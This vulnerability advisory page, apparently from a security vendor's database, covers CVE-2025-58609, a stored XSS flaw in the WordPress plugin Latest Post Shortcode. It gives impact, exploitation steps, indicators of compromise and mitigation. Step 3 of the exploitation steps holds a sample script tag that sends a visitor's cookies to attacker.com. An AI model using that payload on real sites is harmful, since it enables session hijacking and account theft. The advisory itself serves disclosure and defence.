CVE-2025-58609
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-58609 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Latest Post Shortcode" by Iulia Cazan. It affects all versions up to and including 14.0.3, and was reported on July 29, 2025, with public disclosure on September 3, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and stems from insufficient sanitization or escaping of user-supplied input within the plugin's shortcode handling. An authenticated attacker with at least Contributor-level privileges can inject malicious scripts that are persistently stored and later executed in the browsers of other users who view the affected content. Exploitation requires user interaction from a privileged user (e.g., an administrator visiting a crafted page), and the scope is changed, meaning the injected script can affect resources beyond the originating context (Patchstack).

Impact

Successful exploitation allows an attacker to inject arbitrary HTML and JavaScript into WordPress pages, which executes in the browsers of site visitors or administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of visitors to malicious sites. The changed scope means the impact extends beyond the attacker's own session to affect other users of the site (Patchstack).

Exploitability

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported. The EPSS score is approximately 0.031% (0.000310), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority, noting it is unlikely to be exploited, though they acknowledge that XSS vulnerabilities of this type can be used in mass-exploit campaigns targeting WordPress sites (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Latest Post Shortcode plugin at version 14.0.3 or earlier using tools like WPScan or Shodan.
  2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Inject malicious payload: Create or edit a post/page using the Latest Post Shortcode plugin's shortcode, embedding a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in an unsanitized input field processed by the plugin.
  4. Publish content: Submit the content so the malicious script is stored in the WordPress database.
  5. Trigger execution: When an administrator or other privileged user visits the page containing the injected shortcode, the script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from Contributor-level accounts containing encoded script tags or JavaScript event handlers in shortcode parameters.
  • Database: Unexpected <script> tags, javascript: URIs, or HTML event attributes (e.g., onerror, onload) stored in the wp_posts table within shortcode content.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the Latest Post Shortcode plugin output.
  • File System: No direct file system artifacts expected for a stored XSS; however, monitor for newly created or modified PHP files in the plugin directory that could indicate further compromise following session hijacking.

Mitigation and workarounds

Update the Latest Post Shortcode plugin to version 14.10 or later, which contains the fix for this vulnerability. No configuration-based workaround is available; updating is the only recommended remediation. Site administrators unable to update immediately should consider temporarily deactivating the plugin or using Patchstack's virtual patching/auto-update feature to mitigate risk (Patchstack).

Community reactions

Wordfence included this vulnerability in their weekly WordPress vulnerability report for September 1–7, 2025, providing broader community visibility. Patchstack, which discovered and disclosed the vulnerability (credited to researcher 63n0), classifies it as low priority with no impactful threat. No significant vendor statements beyond the Patchstack advisory or notable social media discussion have been identified (Wordfence, Patchstack).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-18603NONEN/A
  • cancel-order-request-woocommerce
NoYesAug 09, 2026
CVE-2026-18473NONEN/A
  • wpdirectorykit
NoYesAug 09, 2026
CVE-2026-18465NONEN/A
  • wp-google-map-gold
NoYesAug 09, 2026
CVE-2026-18464NONEN/A
  • wp-google-map-gold
NoYesAug 09, 2026
CVE-2026-18357NONEN/A
  • wpc-order-tip
NoYesAug 09, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management